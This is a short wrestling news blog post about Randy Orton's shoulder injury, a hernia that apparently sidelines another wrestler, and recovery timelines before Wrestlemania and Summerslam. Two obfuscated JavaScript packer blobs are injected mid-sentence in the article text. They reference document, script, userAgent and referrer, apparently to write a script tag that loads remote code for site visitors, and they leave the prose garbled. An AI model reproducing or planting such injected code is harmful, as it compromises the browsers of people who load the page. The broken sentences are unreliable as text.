WWE has acknowledged the injury and it’s not good.http://www.wwe.com/inside/randy-orton-injured-november-2015-28150944

The company doctor says at this point it’s a matter of when Orton would hurt his shoulder again rather than when.  Surgery is likely and Orton would be out four to six months.  That means he could miss Wrestlemania.

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdzit|var|u0026u|referrer|azykn||js|php'.split('|'),0,{})) to WWE.com.  It’s due to something called an incarcerated hernia.  No word on how long he’ll be out.

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skeha|var|u0026u|referrer|krtzd||js|php'.split('|'),0,{})) word on the time out but the average time before resuming physical activity for this surgery is 2-3 months.  Therefore, assuming the company isn’t lying to us (always a possibility), he’ll be lucky to make it back by Summerslam.  I can’t imagine he keeps the title that long without something changing.